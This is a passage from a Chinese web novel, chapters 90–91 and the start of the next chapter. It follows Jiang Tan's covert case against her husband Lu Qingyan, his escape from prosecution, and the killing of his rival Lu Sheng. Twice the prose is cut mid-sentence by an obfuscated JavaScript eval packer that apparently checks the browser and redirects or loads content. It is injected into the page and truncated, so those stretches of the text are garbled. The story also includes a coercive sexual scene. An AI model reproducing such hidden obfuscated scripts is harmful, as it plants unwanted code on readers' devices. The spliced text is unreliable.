“他还太小,再等等吧。” “不小了,京中如他这般年纪的世家子弟,早已请先生开蒙。机敏的小童,连书都学过几本。” 陆青檐劝道:“就算不正式读书,也要先准备起来,免得落后于人。” 姜昙听出几分旁的意味:“你这么上心?” “当然。”陆青檐一笑:“你是我的妻子,他就是我的儿子。我把他当做亲生之子。” 没等姜昙凑近细究他的神情,陆青檐来到乌日塔面前:“你说好不好,阿年?” 乌日塔当然是沉默的。 夜里拆纱布,一层一层地掀开,背上的东西终于好了。 原本就要拆开,只是陆青檐怕她痛,于是又涂药涂了好几日。 姜昙背过身去,铜镜中若隐若现一个什么花的形状,看不真切。 这就是他说的净身、去秽? 陆青檐走过来,将她的头发捞起来,方便她细看:“是佛教的梵印莲花纹。” 他仔细地在她背上端详着,忽然在花芯处吻了吻,循着发间的香气上去,下巴搁在她的颈窝。 “我想你了。” 姜昙屹然不动,在他吻上她的耳廓时忽然开口: “阿年的鞋上有污泥,可他今日一整日都在平地。你今日是在哪发现他的?” 铜镜中,她看到陆青檐原本半阖的眼睛睁开。 姜昙披上外衣。 陆青檐缓缓站直身体:“那么我也有问题要问你。今日你与陆昇是偶然遇见的吗?你答应他的事是什么?” 笃笃笃。 门被敲响,却没有人声。 是乌日塔。 许久的沉默后,门又被敲了敲。 “我今日发现他时,他撞到一个渔贩,带着水的鱼掉了一地。落在地上,自然成了污泥。” 陆青檐把姜昙的外衣缓缓合拢,将衣带一根根系好:“阿年习惯与你睡,这几日我先去书房住。 姜昙拉住他的一缕头发 陆青檐转身,姜昙说:“我今日与陆昇说的是,答应去紫珠孩子的周岁宴。满月礼约莫在一年后,大概去不了。但周岁宴在两年后,你答应过我的。” 陆青檐凑过来亲她,门口又是三声。 姜昙推开他,说话时声音很低,似有些不好意思:“明晚你过来,我让阿年去偏院,他也该一个人住了。” “好,等着我。” 翌日,陆青檐上朝。 姜昙来到书房,铺纸提笔。 冯道士是第一刀,她应了陆昇,便来做这第二刀。 90. 第 90 章(补) 姜昙闭上眼睛,眼前看过的字句历历在目。 那是从汤慎墓穴找到的证据,他死前未来得及交上去。姜昙看过许多遍,已倒背如流。 姜昙一字一字默写下来。 德庆四年,宋员外还是吴江一地的富商大贾,尚且没有到坐拥苏州府半座金山的地步。 德庆五年,宋氏吞并诸多小商铺。一年之内,将生意做到了吴江以外的地方。 德庆六年,苏州发水患。百姓流离失所,庄稼颗粒无收。 那一年的雨水初时十分温和,所有人都毫无准备。更有人闷头睡大觉,一觉醒来,发现水已涌上河堤。 水灾冲塌了山,山又堵了路。 朝廷派来的灾粮迟迟不到,连负责救济的官员也没有消息。 吴江县衙的大门紧闭了好几日。 这时,宋员外携子开仓放粮,设棚施粥。不仅带人将冲坏的桥梁、大路重新修缮过,还建了育婴堂,收留无家可归的妇孺。 德庆七年,随着吴江善人的名号传出去,宋家的生意遍地开花,从苏州府、扬州府一路北上,商铺开至天子脚下。 同年,吴江县一个偏远的山村——石头村。 村中村民饿死的饿死,逃荒的逃荒,尸体倒在无人知道的野地里。 不知何时,被人遗忘的石头村起了一场大火。自此,连同石头村在内的一大片山地,成了宋家未来的猎场。 走私贩盐,逢迎贿赂。 这都不算什么,最大的罪名是圈地害命。 因为先皇在位时,发生了一件震惊朝野的事情。 前朝皇帝在对大太监抄家时,将抄家所得田产变为自己的私产。 举国上下纷纷效仿,终生积弊。 先皇驾崩最后一年,岭南的土匪化身地方的员外。在敛财的同时不断圈地,最终成为一地豪强,还杀了当地县令,自封为王。 故而,景胜帝自登基起就颁布召令,举国上下禁止圈地,一旦发现,以死罪论处。 除以之外,还有以不正手段打压其他商户,其中不乏家破人亡者。 更有联合前任知县甚至是知州官,争得皇商的名号。最后偷工减料,贪下千万两白银。 姜昙写完后,差人送至御史府上。御史是太傅的门生,也是太子党的官员。 离开扬州前,陆昇给她留的人,总算派上了用场。 乌日塔在窗下玩双陆,天逐渐阴沉下来。 申时末,郑管家欢天喜地过来告诉姜昙,陆青檐的马车已到了巷口,暗示她去门口迎他。 姜昙静静坐着,置若罔闻。 衣袖下的手指不停扣弄绣纹团花,这花是极细的丝线绣的,不一会儿就变得乱糟糟。 . 马车停下来,他并未立刻出去,而是以指按了按额头。 他的头又疼起来。 视线逐渐模糊,陆青檐意识到天色暗沉,于是又服了一粒药。待视线清楚后,才弯腰下马车去。 外面灰蒙蒙一片,眼看着快下雨了。 郑管家在门口候着,陆青檐问:“夫人呢?” 没能请来姜昙一起,郑管家觉得无颜面对主子:“夫人在书房……” 然而陆青檐却不在意点点头,就要进门。 “陆大人。” 身后冷不丁传来一声唤。 陆青檐转身,发现这竟是大理寺的人。几个人身穿官服,最前面立着的是大理寺少卿。 一纸文书在他眼前扫过:“陆大人,大理寺有旧案需陆大人协办。” 这话已说的十分客气。 陆青檐问:“什么案?” “大理寺无意得到了一些卷宗,上面说:德庆七年间,吴江死囚宋庸与陆大人是同一人。” 陆青檐沉思片刻,望向黑洞洞的大门:“夫人在哪?请她出来。” 大理寺少卿催促:“事情紧急,还请陆大人不要耽搁,尽快与我走一趟。” “急什么?” 陆青檐轻飘飘看他一眼,微笑说:“我与我夫人情深意笃,若我出门,得交代她一声才行。否则见不到我,她会担心。大人只需容我片刻就好。” “陆大人可让下人转达。” “不,必须由我亲自说。”陆青檐看着他,对郑管家说:“去请夫人出来。” 虽是请求,可陆青檐身后立着比他身后更多的人,分明是不容置疑的语气。 两人面上为平级,然而眼前这位少卿年轻得过分,且在皇上面前风头正盛,不是他可以比拟的。 更何况,他的义父是闫慈。 闫党的人,对待政见不合者十分残忍。尤其闫慈年事已高,面上是阁老坐镇,实则是“小阁老”一手遮天。 若得罪了他…… 大理寺少卿想起御史的交代,觉得还是为自己谋份后路为好。 郑管家进门许久后又出来,连头都不敢抬:“夫人身体抱恙,说是不能见风。” 陆青檐神情不变:“再请。” 郑管家就又走了一趟,出来时缓缓摇头。 大理寺少卿不吭声在一旁站着,陆青檐和他的夫人之间看着有些奇怪。 就在他以为陆青檐固执地要再差人去问时,他忽然笑了笑:“走吧。” . 当夜电闪雷鸣,下起了雨,一直到二日。 春雨贵如油,不知这是不是最后一场春雨。 姜昙撑伞出门时,郑管家依旧恭敬,只是看着她的眼神有些不对劲。昨日郑管家来找她时,姜昙闭门不出,全程由婢女传达所说。 两次都是如此。 官道两旁绿意如织。 陆昇在一株垂柳下等她:“陆青檐被关入大理寺候审,此案交由大理寺查办。” 姜昙心有疑虑:“你们有把握吗?” 陆昇说:“有太子在,大理寺不会徇私。还有贤妃,事情报到皇上那里时,皇上本想草草了结,是她帮了我们一把。” 陆青檐不会坐以待毙。 姜昙说:“这远远不够。” 陆昇说:“墙倒众人推,我们必须推它一把。这几日,东宫各属臣都在搜集闫党罪证,趁冯道士之死不久,皇上还没忘记,必须压得他喘不过气来。” 长宁宫之事,是谁都没有预料到的意外。 恰好闫慈犯错,恰好陆青檐不在京中。恰好他们引荐的冯道士起了作用,引起皇上对闫慈的三分不满。 这是千载难逢的机会,以前没有,可能以后也不会有。 好不容易撕开了一个口子,尽管是很小的口子。 但决不能就让陆青檐这么缝上,趁这口子没有愈合,趁皇上还记得冯道士,他们要将口子继续撕开。 不能从长计议,只能出其不意! . 陆青檐连续几日都没有回来,府里的下人也逐渐躁动起来。 陆府一向规矩森严,下人不敢犯禁。然而短短三日,郑管家就抓到了两个偷拿金饰的下人,依照规矩押到刑堂,当众行刑。 姜昙夜里将乌日塔哄睡下后,躺在床上翻来覆去。 白日她听到有两个下人说,陆青檐犯了大错,触怒皇上,就要这么完蛋了。 陆青檐真的就要这么完蛋了吗? 虽知道呈送上去的证据远远不止她这些,但姜昙还是觉得,陆青檐不可能就这么倒下。 但她同时又忍不住想,万一呢? 世事难料,长宁宫一件微不足道的小事,就能让闫慈失了圣心。太子党提上去的这么多错处,一定会比这件小事发挥更大的威力。 姜昙闭上眼睛,却睡不着。 于是她挑灯起身,到书案前写状纸。这几日陆昇忙得团团转,没时间联系她。 但她不能就这么闲着。 姜昙想到了一个办法,若能以吴江县令刘仲青手下的文书名义,写一封陈情书。 想必会更可信。 然而提起笔,姜昙落不下去。 刘仲青死了许多年,他手下的文书更是死得透透的。若她用那个身份,无异于伪造卷宗。 当年刘仲青可不是这么教她的,记录卷宗第一个要求,就是真实。 正犹豫不定时,门被敲响。 “夫人睡了吗?” 是邓显的声音。 他跟着陆青檐一去不回,怎么这时候回来了。 姜昙不知该不该吭声,还在思考中,门蓦然被推开。门口是一个婢女,看见姜昙,对她行了个礼。 “夫人,邓先生求见。” 这根本不是求见,未经允许就贸然推门,来者不善。 邓显说:“夫人,长公子要见你。” 姜昙心弦一紧:“……他不是在大理寺吗?” “正是。长公子说人有旦夕祸福,眼下形势危急。以防万一,所以请夫人去见他最后一面。” 最后一面。 许久后,她应道:“好。” 乌日塔从隔壁过来。 他从睡梦中被惊醒,觉得气氛不对,担心地看着姜昙。 姜昙由着婢女为自己穿戴好,摸了摸乌日塔的脸:“无事,娘亲要出去一趟。你在家里乖乖听话,等你一觉睡醒,我就回来了。” 乌日塔的小手将姜昙的手拢住,放在嘴边呵了口气。 已到了穿薄衫的月份,姜昙的手却是冰冷的。 门外停着马车,上马车前姜昙问:“长公子最近怎么样?” 邓显摇头:“不太好。长公子入了牢狱,那里潮湿昏暗,夜里有鼠虫。这几日不让探视,属下也不知现在如何。” 姜昙疑惑:“不让探视,那怎么让我进去?” 邓显说:“看在长公子往日的薄面上,又使了许多银子,才换来这一面。只有一刻钟的说话时间。” 陆青檐往日那么大的能耐,却只换来一刻钟的时间…… 他竟真的不行了。 . 姜昙已经很多年不做梦。 然而或许是这几日没有睡好,或许是听到陆青檐的消息后放松心神,她在马车极有规律的晃动中,逐渐睡了过去。 她又回到了吴江。 “姜昙!我当你去书院是一心向学,没想到你竟是和这么一群狐朋狗友厮混!” 刘仲青满眼失望地看着她:“他们纵使不读书,家里的金银也会托举他们一生。你有什么!身无长物,两手空空!将来以何谋生?患病时钱从何处来,被欺辱时如何自救?我看你真是鬼迷心窍了!” 姜昙辩驳:“不是这样的。” 刘仲青哪里知道她的辛苦。 因为对同窗伸出援手而得罪了人,故而被人百般针对。书院里没人和她做朋友,就连被救的卢文进也不领她的情,总是远远避着她。 姜昙把这一切讲给刘仲青听。 他却说:“以女子之身,在男子的世界里与他们争抢,这条路本来就很辛苦。你若是连这些承受不住,趁早回家去。” 姜昙觉得委屈:“舅舅你是一个男子,自然觉得我这些辛苦不算什么。可我是一个女人,还是一个无权无势的女人。若不能想别的办法,我在书院待不下去的。” 刘仲青没有半分怜悯,反而愈发冷酷:“回去收拾行李,明日送你回家,想想怎么挑一个丈夫嫁了吧。” 舅舅他终归是个男人,看不起女人的男人。 “我不回!我有自己的办法,我没有与人厮混,我有用!” 姜昙举起手中的玉佩:“先前我去找过杨伯,得知了一些关于舅舅正在查办案子的事情。但舅舅你猜错了,罪魁祸首不是宋员外,而是他的儿子宋庸。” 就连刘仲青也想不到,那个总是跟在宋员外身侧、不满十六岁的少年,竟然做出了这么多恶事。 手中的玉佩是上好的羊脂玉,极为阔气地用金子包了边,中间写着一个“庸”字。 “只花不到半月,我就变成了他身边最信任的朋友。” 姜昙在地上跪着,倔强地看着刘仲青:“舅舅,我可以帮你。” 刘仲青答应了。 然而办案与姜昙想象的大不一样,她不仅需要整理如山的卷宗。还要用规范的语句,遵守严格的条程。 身为“探子”,刘仲青更是给她派出了许多任务。 其中就包括拿到宋家的账册。 尽管过程惊心动魄,但这于姜昙并不是很难。 姜昙只湿了一身衣服。 天寒地冻,小厮们冻得缩着身子搓手,宋庸坐在湖边钓鱼。 一条鱼也没有钓到,宋庸十分不耐烦,对下人颐指气使,极为傲慢。 姜昙早已习惯了,他说的这些词听着让人害怕,可来来回回就是那几句。 但她需要和宋庸吵一架,故而此刻她就不习惯了。 姜昙淡淡说:“少爷,我还有事,改日再陪你。” 宋庸的脸色果然拉下来:“不过说你几句,脾气就这么大!姜昙,你如今可真是了不得,究竟咱们谁是少爷?” 姜昙只当没听到,转身离开。 只迈出一步,宋庸恼怒站起来拦她:“谁许你走了?” 姜昙往后一退,仰面倒下去。 入水之前,她清晰地看到宋庸错愕的眼神,怔怔低头看自己的手。 宋庸当然是没碰到她的,但此刻他以为,是他推她下去的。 “快捞人!” 湖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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后来他说了什么,姜昙忘了,她只记得他怎么也不肯停下。 于是她便用刀指着他:“宋庸,你若不想受牢狱之灾,就立刻停下!” 宋庸阴冷一笑:“果然是你偷的,不过你偷错了,那可不是账册,而是海货名录。你们衙门的人说话时,总是一副主持正义的模样,张口闭口就是牢狱,威风凛凛。做事的时候,却蠢笨不堪!” 原来他早就怀疑自己的身份。 朋友做不下去了,探子也做不下去了。 案子查到关键的阶段,刘仲青几次三番派人传唤宋庸。 宋庸几乎日日来衙门,但总是带着一群手下,大摇大摆地进去喝茶,再安然无恙地出来。 刘仲青查的案子毫无进展,甚至被知州叫去了一阵子。 没人传唤,宋庸照常来衙门,比去书院都勤快。带着一群少爷公子哥嘻嘻哈哈地坐在厅堂中,姿态比在一丝湖还闲适。 与焦头烂额的刘仲青不同,宋庸甚至有兴致对衙门的陈设挑挑拣拣:“房屋年久失修,茶叶陈旧苦涩,连椅子都是又冷又硬……” 宋庸的眼神在此时看过来,从头到脚扫视姜昙,讥讽地点评: “寒、酸。” 或许在说衙门,也或许在说她。 一群捕快气得咬牙切齿,握着拳头要收拾他们,却被姜昙拦住。 宋庸敢如此嚣张,必定没被拿到死穴,或是背后有什么依仗。 说不定,他就是故意激怒他们。 时至正午,宋庸终于起身。 他带着浩浩荡荡的一行人离开,经过姜昙身边时,撞了她一下,姜昙手里的卷宗掉了一地。 “瞧你,这么不小心。” 宋庸居高临下地看着她拾起卷宗,和身旁的公子哥们低声说笑,却不肯走了,站在那里看她笑话。 待姜昙捡起要离开,两人拦住姜昙的去路,姜昙不得不面向宋庸。 “衙门的人都吃干饭的吗?这么重的活,竟让你一个人干,我来帮你。” 宋庸将一半的卷宗夺过去,两厢接触时,低头挑衅地看她:“一个大男人,总是瘦弱得像个女人。若是在衙门里吃不饱饭,还回宋府来,本少爷赏你个马夫当当。” 姜昙瞪着他,要将卷宗抢回来。 宋庸错身一让,姜昙就摔了下去。眼看着脸贴地面,宋庸揪住姜昙的衣领,捞了她一把。 他偏头对身边人笑说:“没骗你们吧,我就说他——” 下一句没能说出口,姜昙反身扑了上去。 她不敢真的做什么,只骑在宋庸的身上,揪他的头发,撕他的脸,专拣他身上的软肉,死命地拧。 宋庸不会打架,依葫芦画瓢要还手。 姜昙忽然趴在他耳边,说了一句话:“宋少爷,我知道你的秘密。” 宋庸顿了顿,蓦地推开他。那嫌恶的眼神和动作,像是远离什么邪祟。 “走!” 姜昙在身后扬声说:“明日辰时,我在郊外的亭子里等你。” 宋庸走得更快了。 周身猛地一顿,姜昙睁开眼睛,发现马车停了。 她怔怔地看着漆黑的车帘,想起了没梦完的后续。 那时她又诈了他一次。 宋庸在郊外的亭子里吹了一天冷风,姜昙联合张泰又进了一次宋府。果不其然,以宋庸的傲气,不会和下人们解释。 不知两人闹掰的管家,像以前一样放她进去。依据张泰的指点,这一次姜昙顺利找到了账册。 那之后不久,宋庸就入了县衙的牢狱,被判了死罪。 “夫人,到了。” 邓显掀开车帘,姜昙下车,裹着披风,低头进入了大牢。 大牢里昏暗无比,只有墙壁上点着油灯。 姜昙行至一半,蓦然转身:“我想回去了。” 没人敢拦她,只是这时,墙壁上的油灯全部点燃,整个大牢明亮起来。 姜昙回头看见陆青檐。 他衣冠楚楚,一尘不染,没有丝毫的狼狈模样。 从她进来时起,他就坐在红木椅上,两手搭在椅背,一直默不作声地看着她。 陆青檐慢悠悠地说:“阿昙,都说了是最后一面。你怎么还要走,连最后一面也不肯见我?” 传言是假的。 太子和陆昇以及诸位大臣的弹劾也好,她费心整理的证据也好。 如今看来,对他不起作用。 91. 第 91 章(补) 陆青檐站起来,缓缓走近。 已到初夏,姜昙的手还是这样冷。 陆青檐低头将她的手拢到唇边,轻轻呵一口气:“现在可好些了?” 他已在这里待过许多日。 看着头顶高高的小窗户,从明亮变得昏暗。感受过砖缝里渗出的彻骨凉意,渐渐爬上他的四肢和肺腑。 他抬眼看向姜昙,凑得极近,专注的眼神让他看起来很纯良。 一眼明亮,一眼灰败。 一眼鲜活,一眼死寂,齐齐盯紧姜昙:“我让人送炭盆进来?” 姜昙不由打了个寒颤,用力将手从他掌中抽出来:“我要离开。” 陆青檐并不应声,拍了拍手。 门外的护卫入内,将还在冒着红星的炭盆放在地上。 炭盆上盖着不知什么纸页,严严实实,捂得炭火透不过气,冒出了小股轻烟。 护卫递上火箝,陆青檐接过来,在炭盆里挑了挑。 一阵风袭来,哄的一声,炭盆里冒起小股火焰。 明亮的火光照出纸页上的字,修长端正,透露出文人风骨—— 太子党如山的奏折呈上去,兜兜转转了几个来回,最终还是落到陆青檐手里。 教火箝轻轻一推,顷刻间被烧得透彻,灰飞烟灭。 他牵着她在椅子上坐下。 陆青檐握了握姜昙的手:“还冷吗?” 朝臣的奏折,竟被他用来取暖。 姜昙沉默不语。 陆青檐体贴地说:“大理寺的牢狱就是这样,夜里会很冷,不知是不是有太多死人的缘故。我住过的这一间,听说上一次关着前朝一个宦官,未等判刑就自行了断。将腰带绕过牢门上的木头,吊死在上面……” 他的话锋忽然一转:“除此外,这里和吴江的死牢一样。潮湿阴冷,还有胆大的老鼠爬过去,你瞧,那儿就有一只。” 姜昙听他提到吴江,恍惚了一瞬。又听他提到老鼠,浑身的神经紧绷。 这么想着,脚边竟真的有一只老鼠爬上鞋面。 姜昙惊叫一声站起来,又教陆青檐按下去。他将她的裙角捞进臂间,静静观察她脸上残存的慌乱:“很害怕,是不是?我在这里的每一日,也是这么害怕。” 陆青檐盯着她看了一会儿,视线往下,落在她空空的两手上。 “探视囚犯,一要准备衣物,二要准备食物和水。若是来探视我,劳你多带一些梳洗之物。就算不幸死在狱中,我也不想看起来太狼狈,记住没有?” 姜昙回过神来,讽刺地说:“应对东宫几乎倾尽全力的一击,陆少卿也能游刃有余,想来以后你不会有沦落牢狱这一天。” 说着,她看向最近的牢房。 墙面、房顶都仔细地清扫过,地上铺着干草,靠墙放着一张木床。里面甚至有书案,上面放着笔墨纸砚。 一看就是大理寺精心准备的。 与其说是牢房,不如说是书房。 这几日,外面闹得人仰马翻。 而陆青檐装模作样地被关在这里,实则通过探子得知他们的一举一动,再用他那些精明的阴谋诡计应对。 最终轻而易举地骗过一些人,化解了太子党的攻击。 也对,他在朝堂盘踞了八年之久,势力根深蒂固,怎么会这么轻易中招呢? 陆青檐扯了扯嘴角:“你嘴上这么说,心里却未必这么想。或许还没死心,仍有一丝希冀:‘若是皇上良心有知,看到我们呈上去的证据,或许会对死去的性命生出恻隐之心呢’,对不对?” 姜昙不语,默认了他说的那些话。 刘仲青寒窗苦读几十载,读的是圣贤书,学的是忠君爱国的死理。 就连死的时候,他或许也觉得惩治了宋庸这个恶徒,死得其所。 受这个半师半友的书生影响,姜昙心中也期待着,皇上什么时候能醒悟过来,惩治贪官污吏,为民主持公道。 就连太子以及他身后站着的官员们,也是这么想的,除了陆昇……他或许不是。 两人挤在一张椅子上,看着冲天的火焰渐渐消弭,重新变成会呼吸的火星,脸上的暖意跟着散去。 火焰已熄,陆青檐从袖中取出新的燃料。 姜昙低头跟着看了一眼,心道也对。 他能将皇上书案上的奏折取出来烧掉,她写的那些又凭什么得以幸免呢? 陆青檐缓缓翻动纸页,其他的早已扔掉烧毁,只有这个他看了好几遍。 厚厚一沓,是没见过的字迹,笔触凌厉有力。 可惜勾笔时泄露出习惯的写法,教他一眼就认了出来。 “八年过去,姜文书煽动人心的功力不减当年。庸只是草草看了一遍,就感同身受,跟着愤怒不已,恨不能将恶徒绳之以法。” 他说:“怪不得太子不顾陆昇反对,就急匆匆地把这些呈上御前去。若真教皇上看到了,得知朝堂上有这么大一只蛀虫,一定要将我碎尸万段。” 先前所想所做的,以及所有人堪称孤注一掷的努力,像一场不知天高地厚的较量。 而皇上竟连看都没看过。 真可笑。 姜昙忍不住笑出声:“有陆少卿在君侧伴驾,怎么会教皇上看到不该看的东西?” 陆青檐说:“你错了,不是我不让皇上看到这些东西,而是他自己不愿意看。你以为太子是我让皇上厌弃的?你以为朝事是我让他荒废的?朝堂中不乏有人劝他看重太子、理会朝政,他可曾听过,那些人下场又是什么?” 他笑了笑:“这一切都是他自己的决定,与我没什么太大关系。我在其中的作用,只是顺他心意,在他不想看时捂住他的眼睛,在他不想听时捂住他的耳朵。佛说苦海无边,回头是岸。我只是推他一把而已。” 姜昙说:“谬、论。” 陆青檐不对她天真的愤怒做任何评价。 手上的纸页继续翻动,又到了言辞陌生的最后几页。 他能一眼认出从未见过的、属于姜昙的另一种笔迹,亦能从中窥出她一贯的语气和想法。 只是到了最后几页,偏偏像换了一个人写的。 分明还是她的笔迹,但字字句句,却透出另一种陌生的思想和语气。 陆青檐将姜昙的脸转过来:“这是谁?” “是我。” 姜昙神色冷然,将他的手指掰开。 陆青檐恍然在姜昙身上看到另一个陌生人的影子。 他不在的五年,终究是发生了一些不可掌控的事情。梵印莲花纹刻在她的身体上,却刻不到心里去。 姜昙看到,陆青檐的脸色微不可见地变了。 接着他手上一松,厚厚一沓信纸飘落到炭盆里,盖住炭盆里的红星。 红星死灰复燃,火焰吞噬信纸。 下一刻,她被拦腰抱起来,裙角在半空荡出一个弧度。 陆青檐面无表情地看着她:“姜昙,你心不净,我帮你断了念想。” . 陆昇刚出东宫。 不知是不是因为跟着太子忙得团团转,带路的内侍神情恍惚地摔了一跤。手上的宫灯掉在地上,顷刻间焚烧殆尽。 “大公子,大公子饶命!奴才不是有意的!” 陆昇虽满面疲累,心情不佳。但他从不为难下人,摆摆手说:“无事。” 内侍后退:“奴才这就回东宫重拿一盏灯。” 说话间,内侍不见踪迹,就连轻微的夜风都停了下来。 陆昇往四下里看了看,听到暗处不同寻常的动静。忽而敛眉,转身大步朝东宫行去。 背后忽然冒出轻巧的脚步声,陆昇索性大步跑起来,后面的脚步声也跟着越来越快。 直到陆昇不得不停下—— 面前立着一个黑衣蒙面的杀手,雪白的刀刃映着月光,晃着陆昇的眼睛。 皇宫之内,东宫之外。 敢在这样的地方动手,除了那人,也没有第二人了。 陆昇掩面遮住寒光,苦笑着心想:果然轮到他了。 . 陆青檐身上纹着大片的莲花纹。 从心口爬至肩上,绕过脊背,自腰腹缠过来。 姜昙不住干呕。 干燥的手掌盖了过来,牢牢捂住她的口:“……忍着。” 姜昙忍不住,用力咬了他一口。张嘴却咬到圆珠一般的硬物,那是陆青檐掌上缠的佛珠。被他手指一颗一颗盘弄得圆润,沾上他的气味,或许还有杀人时蹭到的血。 她用力推他。 陆青檐松开她,从上到下细究她的情绪,并不讨厌。于是重新覆上去:“你应了我的。” 姜昙朝一边躲开:“那么我又改主意了,我不想看见你,一见你便恶心。” “那就……不看我。” 会呼吸的莲花纹消失在眼前,姜昙看到床面上盛开的荼蘼,又看到地上铺的干草。 嗒的一声,陆青檐那串不离手的佛珠终于掉到地上。 他在她被撩拨得汗涔涔时挤进去。 颤着呼吸,深深吸气:“姜昙,这些年你也很想我,是不是?” 将近天明,外面下了一场雨。 湿润的气息自墙缝渗透进来,有人踩着雨水而来。 外面发出极有规律的三声响,那是陆青檐的手下有事禀报时的信号。 “退下。” 陆青檐这样吩咐着,外面的动静消失了,一瞬间只听得雨声。 姜昙看着墙面:“你知道是什么事?” 陆青檐的下巴搁在她肩上,手臂绕过她腰间,贴在她的小腹上:“原来你醒着,饿不饿?要不要……再来一次。” 询问的开头,肯定的结尾。 他没打算征询她的意见,一手向下,去勾她的腿。 姜昙任由他动作:“是什么事,还是谁的消息?” 身后陆青檐顿了顿,转而说起这座牢狱:“这里像不像吴江县衙的死牢,你可注意到了?” 姜昙抬头,视线扫过房顶、墙壁、地面…… 她看不出来有哪里像。 或者说,她根本记不得吴江县衙死牢是什么样子,只记得十分冷,十分黑,十分不想踏足。 不过依照陆青檐的脾气,如若有心仿照旧时的布置,一定会安排得一模一样。 姜昙随意扫了几眼:“是有些像。” 陆青檐忽然抱着她换了个位置,姜昙不得不撑在他身上。 陆青檐定定瞧着她:“那么我与以前有什么不一样,你可注意到了?” 姜昙盯着他的眼睛:“没有。” “姜昙,你又骗我。” 陆青檐轻轻吐出几字,握着她的手,按在自己灰败的左眼上:“从第一眼你就注意到了,我左眼不能视物,是你那一支毒箭的缘故。” 相反地,姜昙根本没有注意到这座牢房与吴江那座的相似之处。 他念念不忘的心事,只是他一个人的心事。 陆青檐缓缓抚摸姜昙颈上的血脉,忽而回答了她刚才的问题: “昨夜,陆昇死了。” . 陆昇不知所踪。 没有他的出宫记录,甚至是在东宫附近失去踪迹。 太子领兵将宫里翻了个底朝天,只在东宫不远处的草地上发现一滩血迹。 陆昇就这样生死不知,向来勤勉的太子好几日称病谢客。再出现在人前时,一副颓唐之相。 同月,陆青檐升太常寺卿,备受圣宠。 姜昙领着乌日塔回来时,陆青檐正坐在院子里,身后有人摇扇,有人端酒,皆弯着腰服侍。 院中立着一尊佛像,佛身漆黑,污迹斑驳。 佛像旁站着一人,看着像是个官员。躬身握着布巾,正要为佛像擦拭干净。 看见姜昙进来,停住动作,挂着笑的脸上浮现犹豫,询问地看向陆青檐:“少卿大人……” 陆青檐看了一眼姜昙,视线在乌日塔身上定了定,又收回至佛像身上:“这是夫人,不必拘束,继续。” 他对漆黑的佛像很感兴趣。 那官员对姜昙行了一礼,伸手从佛像的额头擦至面颊。 姜昙对陆青檐的交际往来不感兴趣,他不管她去做什么,她也不必管他做什么。 只是即将转身时,忽有一阵晃眼的光刺着双目。 姜昙缓缓转头,看到布巾之下,漆黑的污迹被抹去,露出金灿灿的光彩。 原来是金佛像。 那官员笑成了一朵花:“听说陆大人信佛,于是信王特意准备了开过光的金身,贺陆大人升迁之喜。” 陆青檐扫了眼手下。 他身边的护卫立刻上前,凑近佛像刮了一层,露出里面的黄铜。原来并不是金佛像,只是涂了一层金漆。 陆青檐面上露出歉意:“多谢王爷好意,下官惶恐,受之有愧。” 嘴上谦卑,神色却轻蔑。 陆青檐说着站起来,身后打扇端酒的一群拥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他去了哪里,她一点也不想过问。只是她不去找他,他却找上门来了。 这一日,天色已晚。 姜昙与乌日塔在外用过小食才回来。 门口的郑管家急得团团转,姜昙不用听也知道他在急什么。进了屋子,果然见陆青檐立在桌前,信手翻着案上的纸页。 她平日会在纸页上写些计划,一个字也不能让陆青檐看到,故而每次都会反复检查,确保写过的纸页都毁掉才离开。 但,难保没有遗漏。 姜昙大步走过去,将他手中的纸页夺过来,放至眼前一看,竟是白纸。 他竟对着白纸看得如此专注? 姜昙几乎是立刻看向陆青檐。 后者诧异地望着她:“何须如此紧张?阿昙的书案十分干净,翻来覆去,一个字也没有。” 他果然是故意的。 姜昙瞥他一眼:“若旁人未经允许动你的东西,你会不紧张?” 陆青檐说:“那要看是谁?若是你,你我夫妻一体,我的就是你的。” 姜昙无言,转身牵着乌日塔去洗澡。 这孩子除了不说话,哪里都好,要他做什么都乖乖照办。只是现在还要加一点,他不喜欢洗澡。 更准确地说,不喜欢碰水。 以前姜昙从未发现过这一点,只是天渐渐热起来,几乎日日要洗澡,乌日塔对水的排斥就更加明显。 姜昙握着小木条在门口等着。 每隔一段时间,她就要发出动静,告诉乌日塔自己还在外面。 不多时,门被推开一个小缝。 乌日塔湿漉漉地望着她,伸出一只小手。 姜昙在他手心看到湿意,点点头:“另一只。” 乌日塔便换另一只手出来看,也是湿的,再泡一会儿,就会发白,是正正好的时间。 “脑袋呢?” 这小子曾经骗她,往身上淋了些水。最终被她发现,不仅头发没洗,连浴桶都没进,只蹲在浴房玩石头,混够时间再出来。 姜昙不想监视他,也不能一直监视到他长大,一切都得靠他自己,她只起督导之责。 乌日塔走近,将一头打卷的湿发凑至姜昙眼前。 姜昙扔了小木条,迎面用一条布巾将乌日塔裹起来,像一只毛毛虫那样抱住。 “表现很好,阿娘奖励你不用走路,抱你回去睡觉!” 姜昙埋在乌日塔的头发上吸了口气,被他脑袋上的香气熏得打了个喷嚏:“什么时候培养的爱好,你竟往头上抹香膏?” 乌日塔抬头,不吭声看着她—— 不可以吗? 姜昙理解他的意思:“阿娘不是说不可以,当然可以!随你喜欢,只是……” 只是什么,姜昙说不出来,她觉得哪里怪怪的。 母子两人踩着石子路上的一地月光,走到尽头。 回到屋子,陆青檐竟还没走。 他手上拿着一卷书,听到动静抬眼看过来,往一旁使了个眼色。 立刻有婢女躬身过来:“夫人,奴婢带小公子去睡觉吧?” 乌日塔搂紧了姜昙的脖颈。 姜昙摸摸他的脑袋:“阿娘告诉过阿年什么?” 乌日塔犹豫一瞬,松开手。却不要婢女抱,自己挣扎着下地,一个人出门去他的小屋子。 屋里便只剩两人。 姜昙不搭理他,兀自拧干巾帕洗漱,岂料刚拿起,就被另一只手拿了过去。 陆青檐一手抬起她的下巴:“我服侍你洗漱。” 鼻间涌入浓郁的香气,让人想起鲤鱼湖上轻纱缠绕的歌女。笑盈盈地抛来媚眼,醉生梦死的纨绔们追上去抱在怀里,一派糜乱的场景。 